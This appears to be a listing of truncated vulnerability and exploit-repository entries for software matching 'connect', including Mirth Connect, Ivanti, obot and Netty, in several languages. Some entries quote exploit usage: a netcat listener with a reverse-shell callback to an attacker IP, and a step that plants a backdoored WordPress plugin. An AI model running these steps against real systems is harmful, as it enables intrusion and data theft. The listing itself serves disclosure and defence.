Apache Druid Kafka Connect - Remote Code Execution

The vulnerability has the potential to enable a remote attacker with authentication to run any code on the system. This is due to unsafe deserialization that occurs during the configuration of the connector through the Kafka Connect REST API id: CVE-2023-25194 info: name: Apache Druid Kafka Conne...

Ivanti Connect Secure - XXE

Ivanti Connect Secure is vulnerable to XXE XML External Entity injection. id: CVE-2024-22024 info: name: Ivanti Connect Secure - XXE author: watchTowr severity: high description: | Ivanti Connect Secure is vulnerable to XXE XML External Entity injection. impact: | Successful exploitation of this...

CVE-2026-18825: Origin Validation Error

An Origin Validation Error in the middleware of the connect-xcors npm package allows an attacker to bypass origin verification and perform a cross domain authenticated request...

CVE-2025-0282

CVE-2025-0282 Ivanti Connect Secure IFT TLS 堆栈溢出预认证远程代码执行（RCE）（CVE-2025-0282） 此代码被刻意以非平凡的方式破坏，需要按照我们之前在利用技术博客文章中概述的方法付出努力才能使其正常工作。 要了解此漏洞，可以查看我们的技术文章。 利用演练与技术 - Ivanti Connect Secure RCE（CVE-2025-0282） PoC 该代码以两种模式运行： 1. 正常模式 2. 利用模式...

CVE-2023-43208

RCE 漏洞存在于 Mirth Connect 中（CVE-2023-37679 和 CVE-2023-43208） 此漏洞利用脚本和 PoC 是为 vsociety 上的深入 CVE 分析而编写。CVE-2023-43208 是 NextGen Mirth Connect 中的一个严重安全漏洞，该工具被医院和诊所用于共享患者数据。此漏洞使黑客无需密码即可入侵系统。由于 Mirth Connect 在医疗保健领域被广泛使用，尽快修复此漏洞对于保护患者信息至关重要。 该漏洞是在之前的一个问题 CVE-2023-37679 本应被修复之后才被曝光的。然而，修复并不充分，进而导致了...

CVE-2026-101084

obot versions before v0.21.1 fail to enforce Access Control Rules on the /mcp-connect endpoint, allowing any authenticated user to connect to restricted MCP servers if they possess the server ID. Attackers can bypass authorization checks to access and manipulate sensitive backend systems through...

CVE-2026-101084 obot before v0.21.1 Authorization Bypass via /mcp-connect

obot versions before v0.21.1 fail to enforce Access Control Rules on the /mcp-connect endpoint, allowing any authenticated user to connect to restricted MCP servers if they possess the server ID. Attackers can bypass authorization checks to access and manipulate sensitive backend systems through...

CVE-2026-101084

Versions of obot prior to v0.21.1 are vulnerable to an authorization bypass due to a failure to enforce Access Control Rules on the /mcp-connect endpoint. Any authenticated user who possesses a specific server ID can connect to restricted MCP servers . This allows attackers to bypass authorizatio...

CVE-2026-101084 obot before v0.21.1 Authorization Bypass via /mcp-connect

obot versions before v0.21.1 fail to enforce Access Control Rules on the /mcp-connect endpoint, allowing any authenticated user to connect to restricted MCP servers if they possess the server ID. Attackers can bypass authorization checks to access and manipulate sensitive backend systems through...

CVE-2026-101084 obot before v0.21.1 Authorization Bypass via /mcp-connect

obot versions before v0.21.1 fail to enforce Access Control Rules on the /mcp-connect endpoint, allowing any authenticated user to connect to restricted MCP servers if they possess the server ID. Attackers can bypass authorization checks to access and manipulate sensitive backend systems through...

Mirth-Connect-CVE-2023-43208

CVE-2023-43208：NextGen Mirth Connect 中的未认证远程代码执行（RCE） 该漏洞利用工具利用了 Mirth Connect 的 XStream 引擎中的一个严重反序列化漏洞。它源于 CVE-2023-37679 的不完整补丁，可在所有 4.4.1 之前的版本中实现未认证的任意代码执行。 使用方法 python3 mirthrce.py https://target 免责声明 此漏洞利用脚本严格用于教育目的和经授权的安全审计，以帮助防御者缓解...

CVE-2023-43208-PoC

Mirth Connect RCE Exploit CVE-2023-43208 Este script es una Prueba de Concepto PoC para la vulnerabilidad de Ejecución Remota de Código RCE en Mirth Connect versiones anteriores a la 4.4.1. Explota una vulnerabilidad de deserialización de XStream a través de la API. Requisitos Python 3.10 o...

CVE-2023-43208-PoC

CVE-2023-43208 - Mirth Connect 未认证远程代码执行 要求 Python 3.11 或更高版本（已在 3.11、3.12、3.13 上测试） 安装 Create a clean virtual environment python3 -m venv .venv source .venv/bin/activate Install pinned dependencies pip install -r requirements.txt 用法 Check version only python3 CVE-2023-43208.py -u https://TARGET/...

CVE-2024-2667

InstaWP Connect – 一键WP暂存与迁移 您可以使用任何有效或无效的API密钥。 overridepluginzip - 包含带有后门的恶意WordPress插件的zip文件路径。 导入后，您可以通过 http://victim-domain/wp-content/plugins/malicious-plugin/backdoor.php 访问后门（假设目录名为malicious-plugin且backdoor.php位于该目录下）。 参考文献：...

CVE-2023-43208

Mirth Connect RCE - CVE-2023-43208 描述 适用于 Mirth Connect 远程代码执行 RCE 的 PoC 影响 Mirth Connect 示例 启动监听器 nc -lvnp 4444 运行漏洞利用程序 ./exploit https://target.com 10.10.10.10 4444 参考链接 https://nvd.nist.gov/vuln/detail/CVE-2023-43208 https://github.com/advisories/GHSA-pj5c-qr29-6746...

SmarterMail - Remote Code Execution

SmarterTools SmarterMail build 9511 contains an unauthenticated remote code execution caused by malicious OS command execution via ConnectToHub API method, letting remote attackers execute arbitrary commands, exploit requires no authentication. id: CVE-2026-24423 info: name: SmarterMail - Remote...

CVE-2026-101084: Authorization Bypass Through User-Controlled Key

obot versions before v0.21.1 fail to enforce Access Control Rules on the /mcp-connect endpoint, allowing any authenticated user to connect to restricted MCP servers if they possess the server ID. Attackers can bypass authorization checks to access and manipulate sensitive backend systems through...

HTTP Request Smuggling

Overview Affected versions of this package are vulnerable to HTTP Request Smuggling in HttpConversionUtil.toHttp3HeadersHttpMessage, boolean, which has no special case for HTTP/1 CONNECT and instead runs the generic request conversion, drawing :authority from the Host header rather than the...

CVE-2026-100663

Netty's HTTP/3 codec io.netty:netty-codec-http3 from 4.2.2.Final through 4.2.17.Final does not special-case HTTP/1 CONNECT authority-form request-targets when converting HTTP/1 messages to HTTP/3 in HttpConversionUtil.toHttp3Headers. The authority-form target e.g., "CONNECT trusted.example:443" i...

CVE-2026-100663

Netty's HTTP/3 codec io.netty:netty-codec-http3 from 4.2.2.Final through 4.2.17.Final does not special-case HTTP/1 CONNECT authority-form request-targets when converting HTTP/1 messages to HTTP/3 in HttpConversionUtil.toHttp3Headers. The authority-form target e.g., "CONNECT trusted.example:443" i...